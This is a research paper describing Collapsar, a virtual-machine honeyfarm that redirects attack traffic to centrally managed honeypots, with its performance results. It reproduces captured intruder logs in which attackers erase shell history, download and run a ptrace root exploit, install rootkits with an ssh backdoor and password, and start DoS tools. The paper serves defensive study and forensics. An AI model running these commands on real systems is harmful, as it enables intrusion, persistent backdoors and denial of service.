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Abstract
The honeypot has emerged as an effective tool to provide insights into new attacks and
exploitation trends. However, a single honeypot or multiple independently operated hon-
eypots only provide limited local views of network attacks. Coordinated deployment of
honeypots in different network domains not only provides broader views, but also create
opportunities of early network anomaly detection, attack correlation, and global network
status inference. Unfortunately, coordinated honeypot operation require close collaboration
and uniform security expertise across participating network domains. The conflict between
decentralized presence and uniform management poses a major challenge in honeypot de-
ployment and operation.
To address this challenge, we present Collapsar, a virtual machine based architecture for
network attack capture and detention. A Collapsar center hosts and manages a large num-
ber of high-interaction virtual honeypots in a local dedicated network. To attackers, these
honeypots appear as real systems in their respective production networks. Decentralized
logical presence of honeypots provides a wide diverse view of network attacks, while the
centralized operation enables dedicated administration and convenient event correlation,
eliminating the need for honeypot expertise in every production network domain. Collap-
sar realizes the traditional honeyfarm vision as well as our new reverse honeyfarm vision,
where honeypots act as vulnerable clients exploited by real-world malicious servers. We
present the design, implementation, and evaluation of a Collapsar prototype. Our experi-
ments with a number of real-world attacks demonstrate the effectiveness and practicality of
Collapsar.
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1 Introduction
Recent years have witnessed a phenomenal increase in network attack incidents [19]. This has mo-
tivated research efforts in developing systems and tools for capturing, monitoring, analyzing, and,
ultimately, defending against network attacks. Among the most notable approaches, the honey-
pot [12] has emerged as an effective tool for observing and understanding attackers’ motivations,
toolkits, and tactics. A honeypot, by nature, suspects every packet transmitted to/from it, enabling
the collection of highly concentrated and low-noise datasets for network attack analysis.
However, honeypots are not panacea and suffer from a number of limitations. In this paper, we will
address the following two limitations of independently operated honeypots. First, a single honeypot
or multiple independently operated honeypots only provide limited local views of network attacks.
There is a lack of coordination among honeypot operations in different networks, missing the
opportunity of creating a wide diverse view for global network attack monitoring, correlation,
and trend prediction. Second, honeypot deployment has inherent security risks and requires non-
trivial efforts in monitoring and data analysis. Security expertise is needed for safe and effective
honeypot operations. However, such expertise is not widely available, making it necessary to resort
to centralized honeypot management backed by special expertise and strict regulations.
It is challenging yet desirable to accommodate two conflicting goals of honeypot deployment
and operation: decentralized presence and centralized management. To address this challenge, we
present Collapsar, a virtual machine (VM) based architecture for network attack capture and de-
tention. A Collapsar center hosts and manages a large number of honeypots in a local dedicated
physical network. However, to attackers, these honeypots appear to be in different network do-
mains. The two seemingly conflicting goals are achieved simultaneously by Collapsar. On one
hand, honeypots are logically present in different physical production networks, providing a more
distributed view of network attacks. On the other hand, the centralized physical location gives se-
curity experts the ability to locally manage honeypots and collect, analyze, and correlate attack
data pertaining to multiple production networks.
Collapsar realizes the honeyfarm vision [43], where multiple honeypots running vulnerable ser-
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vices are centrally operated while each of them virtually belonging to different network domains.
Furthermore, Collapsar also realizes our new vision of reverse honeyfarm, where multiple honey-
pots running vulnerable client-side software (e.g., web browsers) actively crawl the Web to draw
possible exploitations by malicious servers. These honeypots have virtual presence in different net-
work domains, while they are physically launched from one centralized network. For both honey-
farm and reverse honeyfarm, Collapsar achieves three key advantages over conventional honeypot
systems: (1) distributed presence, (2) centralized management, and (3) convenient attack correla-
tion and data mining.
The rest of this paper is organized as follows: Section 2 presents the background of honeypots
as well as the vision and challenges of Collapsar. The architecture of Collapsar is presented in
Section 3, while the implementation details are described in Section 4. Section 5 evaluates Collap-
sar’s performance. Section 6 presents several real-world attack incidents captured by our Collapsar
prototype. Related work is presented in Section 7. Finally, Section 8 concludes this paper.
2 Honeypots and Collapsar
According to Lance Spitzner’s definition [41], a honeypot is a “security resource whose value lies
in being probed, attacked, or compromised.” The resource can be actual computer systems, scripts
running emulated services [40], or honeytokens [44]. This paper focuses on honeypots in the form
of computer systems.
Honeypots can be classified by the level of interaction with attackers. The typical classification
includes high-interaction, medium-interaction, and low-interaction honeypots. High-interaction
honeypots allow attackers to access a full-fledged operating system with few restrictions, although,
for security reason, the surrounding environment may be restricted to confine any hazardous im-
pact of honeypots. This is highly valuable because new vulnerabilities in real operating systems
and applications can be brought to light [16]. However, such value comes at the price of high risk
and operator responsibility. Medium-interaction honeypots involve less risk but more restrictions
than high-interaction honeypots. One example is the use of jail or chroot in a UNIX environment.
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Medium-interaction honeypots provide more functionalities than low-interaction honeypots, which
are, on the contrary, easier to install, configure, and maintain. Low-interaction honeypots emulate
a variety of services that the attackers can interact with.
Another classification criteria differentiates between physical and virtual honeypots. A physical
honeypot is a real machine on the network, while a virtual honeypot is a virtual machine hosted
in a physical machine. For example, honeyd [40] is an elegant, effective low-interaction virtual
honeypot framework. In recent years, advances in virtual machine technologies have boosted the
development and deployment of virtual honeypots. Virtual machine platforms such as VMware
[14], User-Mode Linux (UML) [27], and Xen [25] enable high-fidelity emulation of physical ma-
chines and have been increasingly adopted to support virtual honeypots [12].
A new classification criteria distinguishes between server-side and client-side honeypots. Server-
side honeypots are passive entities running vulnerable server-side software and they wait for at-
tackers’ contact and intrusion. Most current honeypot systems are server-side honeypots. On the
other hand, client-side honeypots are proactive entities running vulnerable client-side software and
they initiate contact with servers on the Internet to get exploited (e.g., vulnerable web browser get-
ting exploited by malicious web server). The client-side honeypot is unique in detecting possible
exploitation of client-side software, a capability not provided by traditional server-side honeypots.
Examples of client-side honeypot systems include the Strider HoneyMonkey exploit detection sys-
tem [47] and the Honeyclient system [2].
2.1 Collapsar: Visions and Challenges
Honeypots in Collapsar can be categorized as high-interaction and virtual. Moreover, Collapsar
supports both server-side and client-side honeypots. Different from individual honeypots, Col-
lapsar honeypots are physically located in a dedicated local network but logically dispersed in
multiple network domains. This property reflects the vision of honeyfarm [43]. However, to the
best of our knowledge, there has been no realization of honeyfarm before Collapsar that uses high-
interaction honeypots with detailed design, implementation, and real-world experiments. More-
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over, we demonstrate that by using high-interaction honeypots, the honeyfarm vision can be more
completely realized than using low-interaction honeypots or passive traffic monitors. Extending
the honeyfarm vision, we further propose and realize the reverse honeyfarm vision. The reverse
honeyfarm is different from the traditional honeyfarm in that it hosts client-side honeypots. Instead
of passively waiting for attacks, client-side honeypots in Collapsar actively request services from
servers on the Internet. To a server, requests from Collapsar appear to come from different network
domains.
The development of Collapsar is more challenging than that of a stand-alone honeypot system.
System authenticity requires honeypots to behave, from an attacker’s point of view, as normal hosts
in their associated network domains. From the perspective of Collapsar operators, the honeypots
should be easily configured, monitored, and manipulated for system manageability. To realize a
full-fledged Collapsar, the following problems, common in both traditional honeyfarm and reverse
honeyfarm, need to be addressed:
• How to redirect traffic? Traffic toward/from a honeypot should be transparently redirected from/to
the target network to/from the Collapsar center without the attacker becoming aware of the
redirection. Moreover, a virtual honeypot in the Collapsar center is expected to exhibit similar
network configuration and behavior as the regular hosts in the same production network.
• What traffic to redirect? To achieve high authenticity, all traffic to a honeypot needs to be redi-
rected, even if some traffic (such as broadcast) is not exclusively for the honeypot. However,
redirection of all related traffic will incur considerable overhead. More seriously, some traffic
may contain sensitive information that the attacker should not be receiving.
• When to stop an attack? Honeypots are designed to exhibit vulnerability and are expected to be
attacked. However, the attack may cascade. A compromised honeypot can be used in another
round of worm propagation or DDoS attack. Collapsar should detect and prevent such attacks
before any real damage is done. However, simply blocking all outgoing traffic is not a good
solution, because it will curtail the collection of evidence of the attacks, such as communication
with other cohorts and the downloading of rootkits. The challenge is to decide the right time to
say ‘Freeze!’ to the attacker.
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This paper presents our solutions to the first problem. For the second and the third problems, we
present Collapsar components and mechanisms for the enforcement of traffic filtering and attack
curtailing policies specified by Collapsar administrators. This paper does not address any specific
policy and its impact. Instead, it focuses on the architecture and mechanisms of Collapsar.
3 Architecture of Collapsar
The architecture of Collapsar is shown in Figure 1. Figures 1(a) and 1(b) show how Collapsar
realizes the honeyfarm and reverse honeyfarm visions, respectively. Collapsar is comprised of three
main functional components: the redirector, the front-end, and the virtual honeypot (VM). These
components work together to achieve fidelity-preserving traffic redirection. Collapsar also includes
the following assurance modules in order to capture, contain, and analyze the activities of attackers:
the logging module, the tarpitting module, and the correlation module.
3.1 Functional Components
3.1.1 Redirector
The redirector is a software component running in a designated machine in each participating
production network. Its task is to forward relevant traffic to virtual honeypots in the Collapsar
center. A redirector has three main functions: traffic capture, filtering, and diversion. Traffic capture
involves the interception of all packets (including unicast and multicast packets) toward a honeypot.
Since the captured packets may contain sensitive information, traffic filtering needs to be performed
according to rules specified by the network administrator. Finally, packets that have gone through






















































































(b) Reverse honeyfarm (hosting client-side honeypots) by Collapsar
Fig. 1. Collapsar architecture: how it realizes honeyfarm and reverse honeyfarm
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3.1.2 Front-end
The front-end is a gateway to the Collapsar center. It receives encapsulated packets from redirectors
in different production networks, decapsulates the packets, and dispatches them to corresponding
virtual honeypots in the Collapsar center. To avoid becoming a performance bottleneck, multiple
front-ends may exist in a Collapsar center.
In the reverse direction, the front-end accepts outgoing traffic from the honeypots, and scrutinizes
all packets with the help of assurance modules (to be described in Section 3.2) for attack stoppage.
If necessary, the front-end will curtail the interaction with the attacker to prevent a compromised
honeypot from attacking other hosts on the Internet. If a policy determines that continued interac-
tion is allowed, the front-end will forward the packets back to their original redirectors, which will
then redirect the packets into the network such that the packets appear to the remote attacker as
originating from the target network.
3.1.3 Virtual Honeypot
Collapsar supports both server-side and client-side honeypots: Server-side honeypots accept pack-
ets coming from redirectors and behave as if they are hosts in the target production network. Phys-
ically, the traffic between the attacker and the honeypot follows the path “attacker’s machine →
redirector → Collapsar front-end → honeypot”. Logically, the attacker interacts directly with the
honeypot. To achieve authenticity, the honeypot has the same network and system configuration as
other hosts in the production network, including the default router, DNS servers, and mail servers.
Client-side honeypots actively initiate service requests, which are relayed transparently by redi-
rectors to malicious servers. Client-side honeypots appear to a malicious server as regular hosts
running vulnerable client-side software in different production network domains.
Both types of honeypots in Collapsar run as virtual machines. Virtualization not only achieves
resource-efficient honeypot consolidation, but also enables powerful attack investigation capabil-




While the Collapsar functional components enable virtual distributed presence of honeypots, as-
surance modules provide necessary facilities for attack investigation and mitigation of associated
risks.
3.2.1 Logging Module
Recording how an attacker exploits software vulnerabilities is critical to the understanding of attack
tactics and strategies [12]. All communications with honeypots are highly suspicious and need to
be recorded. However, the traditional Network Intrusion Detection System (NDIS) based on packet
sniffing may not be effective if the attack traffic is encrypted. In fact, it has become common for
attackers to communicate with compromised hosts using encryption-enabled backdoors, such as
trojaned sshd daemons. To log the details of such attacks without attackers tampering with the log,
the logging module in each honeypot consists of sensors embedded in the honeypot’s guest OS as
well as log storage in the underlying physical host. As a result, log collection and storage achieve
high tamper-resistance.
3.2.2 Tarpitting Module
Deploying high-interaction honeypots is risky in that they can be used by the attacker as a platform
to launch a second round of attack (e.g. worm propagation). To mitigate such risk, Collapsar’s
tarpitting module subverts attacks by (1) throttling out-going traffic from honeypots [45] by lim-
iting the rate packets are sent (e.g. TCP-SYN packets) and (2) scrutinizing out-going traffic based




Collapsar provides excellent opportunities to aggregate and mine log data for attack correlation,
which an individual honeypot or multiple independently operated honeypots cannot offer. Such
capability is supported by the correlation module. For example, the correlation module is able to
detect network scanning by correlating simultaneous or sequential probing (ICMP echo requests
or TCP-SYN packets) of honeypots that logically belong to multiple production networks. The
correlation module can also be used to detect on-going DDoS attacks [39], worm propagations [50],
and hidden attack networks such as IRC-based or peer-to-peer-based botnets created by certain
worms.
4 Implementation of Collapsar
4.1 Traffic Redirection
There are two approaches to transparent traffic redirection: the router-based approach and the end-
system-based approach. In the router-based approach, an intermediate router or the edge router of
a network domain can be configured to activate the Generic Routing Encapsulation (GRE) [31,32]
tunneling mechanism to forward honeypot traffic to the Collapsar center. The approach has the
advantage of high network efficiency. However, it requires the privilege of router configuration. On
the other hand, the end-to-end approach does not require access and changes to routers. Instead,
it requires an application-level redirector in the target production network for forwarding packets
between the attacker and the honeypot. In a cooperative environment such as a university campus,
the router-based approach may be a more efficient option, while in an environment with multiple
autonomous domains, the end-system-based approach may be adopted for easy deployment. In this
paper, we describe the design and implementation of the end-system-based approach.
To illustrate the end-system-based approach, let R be the default router of a production network,
H be the IP address of the physical host where the redirector component runs, and V be the IP
address of the honeypot as appearing to attackers. H , V , and an interface of R, say I1, belong to
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the same network. When there is a packet addressed to V , router R will first receive it and then try
to forward the packet based on its routing table. Since address V appears in the same network as
I1, R will send the packet over I1. To successfully forward the packet to V , R needs to know the
corresponding MAC address of V in the ARP cache table. If the MAC address is not in the table,
an ARP request packet will be broadcasted to get the response from V . H will receive the ARP
request. H knows that there is no real host with IP address V . To answer the query, H responds
with its own MAC address, so that the packet to V can be sent to H and the redirector in H will
then forward the packet to the Collapsar center. Note that one redirector can support the virtual
presence of multiple honeypots in the same production network.
The redirector is implemented as a virtual machine running our extended version of UML. This ap-
proach adds considerable flexibility to the redirector since the VM is able to support policy-driven
configuration for packet filtering and forwarding, and can be conveniently extended to support use-
ful features such as packet logging, inspection, and in-line rewriting. The redirector has two virtual
NICs: the pcap/libnet interface and the tunneling interface. The pcap/libnet interface performs the
actual packet capture and injection. Captured packets will be echoed as input to the UML kernel.
The redirector kernel acts as a bridge, and performs policy-driven packet inspection, filtering, and
subversion. The tunneling interface tunnels the inspected packets transparently to the Collapsar
center. For communication in the opposite direction, the redirector kernel’s tunneling interface ac-
cepts packets from the Collapsar center and moves them into the redirector kernel itself, which will
inspect, filter, and subvert the packets from the honeypots, and re-inject the inspected packets into
the production network through the pcap/libnet interface.
4.2 Traffic Dispatching
The Collapsar front-end is similar to a transparent firewall. It dispatches incoming packets from
redirectors to their respective honeypots based on the destination field in the packet header. The
front-end can also be implemented using UML which creates another point for packet logging,
inspection, and filtering.
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Ideally, packets should be forwarded directly to the honeypots after dispatching. However, virtu-
alization techniques in different VM platforms complicate this problem. To accommodate various
VMs (especially those using VMware), the front-end will first inject packets into the Collapsar
network via an injection interface. The injected packets will then be claimed by the corresponding
virtual honeypots and be moved into the VM kernels via their virtual NICs. This approach supports
VMware-based VMs without any modification. However, it incurs additional overhead (as shown
in Section 5). Furthermore, it causes the undesirable cross-talk between honeypots which logi-
cally belong to different production networks. Synthetic cross-talk may decrease the authenticity
of Collapsar. A systematic solution to this problem requires a slight modification to the virtualiza-
tion implementation, especially the NIC virtualization. Unfortunately, modifying the VM requires
access to the VM’s source code. With open-source VM implementations such as UML, the injec-
tion interface of the front-end can be modified to feed packets directly into the VM (honeypot)
kernels. As shown in Section 5, considerable performance improvement can be achieved by this
technique.
4.3 Virtual Honeypot
Currently, Collapsar supports virtual honeypots based on both VMware and UML. Other VM
platforms such as Xen [25], Virtual PC [13], and UMLinux [33] will also be supported in the
future.
VMware is a commercial system and one of the most mature and versatile VM platforms. A key
feature is the ability to support various commodity operating systems and to take snapshot of live
virtual machine images. Support for commodity operating systems provides more diverse view
of network attacks, while image snapshot generation and restoration add to the convenience of
forensic analysis. As mentioned in Section 4.2, the network interface virtualization of VMware is
not readily compatible with Collapsar design. More specifically, VMware creates a special vmnet,
which emulates an inner bridge. A VMware-based virtual machine injects packets directly into
the inner bridge, and receives packets from the inner bridge. A special host process is created
to be attached to the bridge and acts as an agent to forward packets between the local network
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and the inner bridge. The ability to read packets from the local network is realized by a loadable
kernel module called vmnet.o, which installs a callback routine registering for all packets on a
specified host NIC via the dev add pack routine. The packets will be re-injected into the inner
bridge. Meanwhile, the agent will read packets from the inner bridge and call the dev queue xmit
routine to directly inject packets to the specified host NIC. It is possible to re-write the special host
process to send/receive packets directly to/from the Collapsar front-end avoiding the overhead of
injecting and capturing packets twice - once in the front-end and once in the special host process.
This solution requires modifications to VMware.
UML is an open-source VM platform that runs directly in the unmodified user space of the host OS.
Processes within a UML (the guest OS) are executed in the virtual machine in the same way as they
would be executed in a native Linux machine. Leveraging the capability of ptrace, a special thread
is created to intercept the system calls made by any process thread in the UML kernel, and redirect
them to the guest OS kernel. Meanwhile, the host OS has a separate kernel space, eliminating
any security impact caused by the individual UMLs. We enhance UML’s network virtualization
implementation such that each packet from the front-end can be immediately directed to the virtual
NIC of a UML-based VM. This technique not only avoids the unnecessary packet capture and re-
injection (as in VMware) but also eliminates the cross-talk between honeypots in the Collapsar
center.
4.4 Assurance Modules
Logging modules are deployed in multiple Collapsar components including redirectors, front-ends,
and honeypots. Transparent to attackers, logging modules in different locations record attack-
related information from different view points. Simple packet inspection tools, such as tcpdump
[11] and snort [9] are able to record plain traffic, while embedded sensors inside the honeypot
(VM) kernel are able to uncover an attacker’s encrypted communications. In section 6.2, we will
present details of several attack incidences demonstrating the power of in-kernel logging. The in-
kernel logging module in VMware-based honeypots leverages an open-source project called sebek
[8], while in-kernel logging module for UML-based honeypots is performed by kernort [35], a
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kernelized snort [9].
Tarpitting modules are deployed in both the front-end and redirectors. The modules perform in-
line packet inspection, filtering, and rewriting. Currently, the tarpitting module is based on snort-
inline [10], an open-source project. It can limit the number of out-going connections within a time
unit (e.g., one minute) and can also compare packet content with known attack signatures in the
snort package. Once a malicious code is identified, the packets will be rewritten to invalidate its
functionality.
The Collapsar center provides a convenient venue to perform correlation-based attack analysis
such as wide-area DDoS attacks or stepping stone attacks [49]. The current prototype is capable
of attack correlation based on simple heuristics and association rules. The correlation module can
be extended to support more complex event correlation and data mining algorithms, enabling the
detection of non-trivial attacks such as low and slow scanning and hidden botnets.
5 Performance Measurement
The VM technology provides effective support for high-interaction honeypots. However, the use of
virtual machines inevitably introduces performance degradation. In this section, we first evaluate
the performance overhead of two currently supported VM platforms: VMware and UML. We then
evaluate the end-to-end networking overhead caused by the Collapsar functional components for
traffic redirection and dispatching.
To measure the virtualization-incurred overhead, we use two physical hosts (with aliases seattle
and tacoma, respectively) with no background load, connected by a lightly loaded 100Mbps LAN.
Seattle is a Dell PowerEdge server with a 2.6GHz Intel Xeon processor and 2GB RAM, while
tacoma is a Dell desktop PC with a 1.8GHz Intel Pentium 4 processor and 768MB RAM. A VM
runs on top of seattle, and measurement packets are sent from tacoma to the VM. The TCP through-
put is measured by repeatedly transmitting a file of 100MB under different socket buffer size, while
the latency is measured using standard ICMP packets with different payload sizes. Three sets of
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experiments are performed: (1) from tacoma to a VMware-based VM in seattle, (2) from tacoma
to a UML-based VM in seattle, and (3) from tacoma directly to seattle with no VM running. The
results in TCP throughput and ICMP latency are shown in Figures 2(a) and 2(b), respectively. The
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(b) ICMP latency degradation (in-
crease)
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Fig. 3. Comparing Collapsar-incurred overhead: VMware vs. UML
Figure 2(a) indicates that UML performs worse in TCP throughput than VMware, due to UML’s
user-level virtualization implementation. More specifically, UML uses a ptrace-based technique
implemented at the user level and emulates an x86 machine by virtualizing system calls. On the
other hand, VMware employs the binary rewriting technique implemented in the kernel, which
inserts a breakpoint in place of sensitive instructions. However, both VMware and UML exhibit
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similar latency degradation because the (much lighter) ICMP traffic does not incur high CPU load
therefore hiding the difference between kernel and application level virtualization. A more thor-
ough and rigorous comparison between VMware and UML is presented in [25].
We next measure the performance overhead incurred by the traffic redirection and dispatching
mechanisms of Collapsar. We set up tacoma as the Collapsar front-end. In a different LAN, we
deploy a redirector running on a machine with the same configuration as seattle. The two LANs
are connected by a high performance Cisco 3550 router. A machine M in the same LAN as the
redirector serves as the “attacker” machine, connecting to the VM (honeypot) running in seattle.
Again, three sets of experiments are performed for TCP throughput and ICMP latency measure-
ment: (1) from M to a VMware-based honeypot in seattle, (2) from M to a UML-based honeypot
in seattle, and (3) from M to the machine hosting the redirector (but without the redirector run-
ning). The results are shown in Figures 3(a) and 3(b). The curves “VMware,” “UML,” and “Direct”
correspond to experiments (1), (2), and (3), respectively.
Contrary to the results in Figures 2(a) and 2(b), the UML-based VM achieves better TCP through-
put and ICMP latency than the VMware-based VM. We believe this is due to the optimized traffic
dispatching mechanism implemented for UML (Section 4.2). Another important observation from
Figures 3(a) and 3(b) is that traffic redirecting and dispatching in Collapsar incur a non-trivial
network performance penalty (comparing with the curve “Direct”). For remote attackers (or those
behind a weak link), such penalty may be “hidden” by the already degraded end-to-end network
performance. However, for “nearby” attackers, such penalty may be observable by comparing per-
formance to a real host in the same network. This is a limitation of the Collapsar design. Router-
based traffic redirection (Section 4.1) as well as future hardware-based virtualization technology
are expected to alleviate this problem.
6 Experiments with Collapsar
In this section, we present a number of real-world network attack incidences captured by our
Collapsar testbed. We also present the recorded attacker activities to demonstrate the effectiveness
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and practicality of Collapsar. Finally, we demonstrate the potential of Collapsar in log mining and
event correlation.
6.1 Environment Setup
In our Collapsar testbed, there are five production networks: three Ethernet LANs, one wireless
LAN, and one DSL network. A Collapsar center is located in another Ethernet LAN. The vir-
tual honeypots in the Collapsar center run a variety of operating systems, including RedHat Linux
7.2/8.0, Windows XP Home Edition, FreeBSD 4.2, and Solaris 8.0. Before the start of Collapsar
operation, the md5sum of every file in a honeypot (virtual machine) has been calculated and stored
for future references. For each representative attack incidence, we examine the specific vulnerabil-
ity, describe how the system was compromised, and show the attacker’s activities after the break-in.
We note that these attacks are well-known attacks and have previously been reported. Our purpose
is to demonstrate the effectiveness of Collapsar when facing real-world attacks.
[2003-11-25 09:33:55  aaa.bb.c.126 7817 sh 48]export HISTFILE=/dev/null; echo; 
echo ’ >>>>  GAME OVER!  Hackerz Win ;)  <<<<’; echo; echo; echo "******  I AM 
IN ’‘hostname -f‘’  ******"; echo; if [ -r /etc/redhat-release ]; then echo 
‘cat /etc/redhat-release‘; elif [ -r /etc/suse-release ]; then echo SuSe ‘cat 
/etc/suse-release‘; elif [ -r /etc/slackware-version ]; then echo Slackware 
‘cat /etc/slackware-version‘; fi; uname -a; id; echo
[2003-11-25 09:34:01  aaa.bb.c.126 7817 sh 48]cd /tmp
[2003-11-25 09:34:07  aaa.bb.c.126 7817 sh 48]wget http://xxxxxxxxxxxxxxxxxxxx.xx
/0304-exploits/ptrace-kmod.c;gcc  ptrace-kmod.c -o p;./p
[2003-11-25 09:35:46  aaa.bb.c.126 7838 sh 0]wget http://xxxxxxx.xx.xx/vip/shauli/
shv4.tar.gz;tar -xzf shv4.tar.gz;cd shv4;./setup rooter 1985
[2003-11-25 09:36:16  aaa.bb.c.126 8009 xntps 0]SSH-1.5-PuTTY-Release-0.53b
[2003-11-25 09:36:57  aaa.bb.c.126 8009 xntps 0]cd /home;adduser ftpd;su ftpd
[2003-11-25 09:37:00  aaa.bb.c.126 8009 xntps 0]cd ftpd;mkdir .logs;cd .logs
[2003-11-25 09:37:04  aaa.bb.c.126 8009 xntps 0]wget http://xxxxxxx.xxx/archive/
v1.2/iroffer1.2b22.tgz;tar -zvxf iroffer1.2b22.tgz;cd iroffer1.2b22;./Configure;make
[2003-11-25 09:37:50  aaa.bb.c.126 8009 xntps 0]mv iroffer syst
[2003-11-25 09:37:52  aaa.bb.c.126 8009 xntps 0]pico rpm
[2003-11-25 09:38:01  aaa.bb.c.126 8009 xntps 0]./syst -b rpm/dev/null &
1. Gaining a regular
 account: apache
3. Installing a set
    of backdoors
    
4. Adding the ftp user
   and installing a 
   IRC-based ftp server
    
2. Escalating to the 
   root privilege
Fig. 4. Collapsar log of attacker activities after break-in via Apache
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6.2 Server-Side Honeypot Incidents
6.2.1 A Linux/VMware Honeypot
The first recorded incidence was an attack on an Apache server version 1.3.20-16 running on Red-
Hat 7.2 using the Linux kernel 2.4.7-10. The honeypot compromised was a VMware-based virtual
machine in the Collapsar center, with logical presence in one of the LAN production networks.
Vulnerability description: Apache web server versions up to 1.3.24 contain a vulnerability [17] in
the chunk-handling routines. A carefully crafted invalid request can cause an Apache child process
to call the memcpy() function in a way that will write past the end of its buffer, corrupting the stack
and thus resulting in a stack overflow. Remote attackers can exploit this vulnerability to access
the system using the system’s Apache account. Meanwhile, unpatched Linux kernels version 2.4.x
contain a ptrace vulnerability [22], which can be exploited by malicious local users to escalate
their privileges to root.
Incident: An Apache honeypot was deployed in the Collapsar center at 11:44:03PM on 11/24/2003
and was compromised at 09:33:55AM on 11/25/2003. Collapsar captured all information related to
the vulnerability-exploiting process, including the attacker’s keystrokes after the break-in as shown
in Figure 4. The complete log of the break-in is available on the Collapsar website [21].
 **  0 packs  **   30 of 30 slots open, Min: 3.0KB/s
 **  Bandwidth Usage  **  Current: 0.0KB/s,
 **  To request a file type: "/msg xxxxxxxxxxx xxxx send #x"  ** 
 **  Brought To You By xxxxxx  ** 
Total Offered: 0.0 MB  Total Transferred: 0.00 MB
Fig. 5. Attack via Apache leading to an iroffer backdoor (logged by Collapsar)
First, a TCP connection to port 443 on the honeypot was initiated, the attacker then sent one
malicious packet (actually several TCP segments), triggering buffer overflow in the Apache web
server. The malicious code contained in the packets spawned a shell with the privilege of the
system’s Apache account. With the shell, the attacker quickly downloaded, compiled, and executed
a program exploiting the ptrace vulnerability [22]. Once executed, the ptrace exploitation code
gave the attacker root privilege. After obtaining root privilege, the attacker downloaded a rootkit
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called SHv4 Rootkit [38] and installed a trojaned ssh backdoor with a password rooter on port 1985.
Upon successfully installing the trojaned ssh server, a login session was initiated from PuTTY
version 0.53b, a popular Windows SSH client, to the port 1985 accessing the trojaned ssh server,
so that all communications between the honeypot and the attacker could be encrypted. Traditional
techniques such as tcpdump and NIDS become less effective once traffic is encrypted. However,
the Collapsar in-kernel logging module sebek [8] was able to hijack SYS read system call and
recognize the attacker’s keystrokes (Figure 4).
Backdoor in action: Based on the logged keystrokes, we were able to infer the attacker’s tactics
and goals. The attacker first added a new user account ftp, then installed iroffer [4]. Iroffer is a
program that enables the hosting machine to act as a file server for an IRC channel similar to the
Napster file sharing system [6]. Once started, iroffer connected to an IRC server and logged into
a certain channel. The attacker was able to remotely re-configure iroffer which would periodically
report its status in the channel, including available space, files, and transmission status. Figure 5
shows a status report generated by iroffer and logged by Collapsar logging module. It indicates
that the attacker was able to request/offer files from/to others in the channel.
Forensic analysis: After detecting iroffer installation, no further keystrokes were captured. We
took a snapshot of the honeypot image (available in [21]) and disconnected the honeypot from
the Collapsar center. A quick verification using md5sum revealed several trojaned system routines,
including netstat, ls, ps, find, and top; one ssh backdoor; and the iroffer program.
6.2.2 A Linux/UML Honeypot
The second incidence was an attack on the Samba server version 2.2.1a-4 running on RedHat
7.2. The honeypot was a UML-based virtual honeypot with enhanced network virtualization. The
honeypot resided in the Collapsar center but had a logical presence in one of the LAN production
networks.
Vulnerability description: The Samba server versions 2.0.x through 2.2.7a contain a buffer over-
flow vulnerability associated with the re-assembly of SMB/CIFS packet fragments [20]. This vul-
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nerability allows a remote attacker to gain root privileges in a host running the Samba server.
[2003-11-26 11:41:17  aaa.bb.c.31 8100 sh 0]unset HISTFILE; echo "wooooot! xxxxx owns 
u :)";uname -a;id;uptime;
[2003-11-26 11:41:32  aaa.bb.c.31 8100 sh 0]wget xxxxxx.xx.xx/rkzz.tgz
[2003-11-26 11:41:48  aaa.bb.c.31 8100 sh 0]tar -zxvf rkzz.tgz;rm -rf rkzz.tgz;cd .max;
./install
[2003-11-26 11:41:58  aaa.bb.c.31 8100 sh 0]killall -9 smbd nmbd lisa logger
[2003-11-26 11:51:14  aaa.bb.c.31 8163 httpd 0]SSH-1.5-PuTTY-Release-0.53b
[2003-11-26 11:51:30  aaa.bb.c.31 8163 httpd 0]pstree
[2003-11-26 11:51:34  aaa.bb.c.31 8163 httpd 0]ps -ax
[2003-11-26 11:51:49  aaa.bb.c.31 8163 httpd 0]wget xxxxxx.xx.xx/skk.tgz
[2003-11-26 11:52:03  aaa.bb.c.31 8163 httpd 0]tar -zxvf skk.tzg;rm -rf skk.tg
[2003-11-26 11:52:07  aaa.bb.c.31 8163 httpd 0]rm -rf skk.tgz
[2003-11-26 11:52:08  aaa.bb.c.31 8163 httpd 0]cd skk
[2003-11-26 11:52:08  aaa.bb.c.31 8163 httpd 0]kk
[2003-11-26 11:52:09  aaa.bb.c.31 8163 httpd 0]./sk
[2003-11-26 11:52:11  aaa.bb.c.31 8163 httpd 0]cd ..
[2003-11-26 11:56:42  aaa.bb.c.31 8163 httpd 0]wget xxxxxx.xx.xx/flood.tgz
[2003-11-26 11:57:32  aaa.bb.c.31 8163 httpd 0]tar xvfz flood.tgz;rm -rf flood.tgz
[2003-11-26 11:57:35  aaa.bb.c.31 8163 httpd 0]cd flood
[2003-11-26 11:57:45  aaa.bb.c.31 8163 httpd 0]./alpha
2. Installing a set
    of backdoors
    
3. Downloading a set 
   of DoS attack tools
   and initiating the
   DoS attack
1. Gaining a root 
   privilege directly
Fig. 6. Collapsar log of attacker activities after break-in via Samba
Incident: The Samba honeypot was activated in the Collapsar center at 12:01:03PM on 11/25/2003,
and was compromised at 11:41:17AM on 11/26/2003. With the help of logging module kernort,
Collapsar captured all information related to the attack, including scanning attempts and attacker
keystrokes after the break-in (shown in Figure 6). The complete log can be found at [21]. First, a
scanning NetBIOS name packet was sent to UDP port 137 and the honeypot running a vulnera-
ble Samba server responded with MAC address 00-00-00-00-00-00, which indicated that a Samba
server is running. After receiving the response, a TCP connection to port 139 was established and
several malicious packets guessing different return addresses were sent in the hope of launching
a buffer overflow attack. The malicious packets contained a port-binding shell-code, which will
listen on TCP port 45295 if correctly executed. Based on information in the Collapsar log infor-
mation, we are able to identify six attempts to guess the return address, i.e., 0xbffffed4, 0xbffffda8,
0xbffffc7c, 0xbffffb50, 0xbffffa24, and 0xbffff8f8, in the malicious code.
After successfully exploiting the Samba server, the remote attacker gained the root privilege and
installed a rootkit wrapper rkzz.tgz, which contains a trojaned sshd backdoor and a sniffer pro-
gram. Once the sshd backdoor was installed, the attacker quickly created an ssh connection using
PuTTY-0.53b, encrypting all subsequent traffic. Using the ssh connection, the attacker downloaded
a program package skk.tgz, which is the SucKit rootkit. It seemed that SucKit could not be installed
successfully in the UML, so the attacker downloaded another attack package, flood.tgz, and imme-
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diately started a DoS attack. The attack package contained several DoS attack tools, including the
infamous smurf, overdrop, and synsend.
Forensic analysis: Once the DoS attack was started, the tarpitting module in Collapsar detected a
burst of out-going TCP-SYN packets, which indicated a successful compromise and an on-going
DoS attack. The tarpitting module immediately raised an alarm and the Samba honeypot was dis-
connected from the Collapsar center. Forensic analysis revealed the installation of many flooding
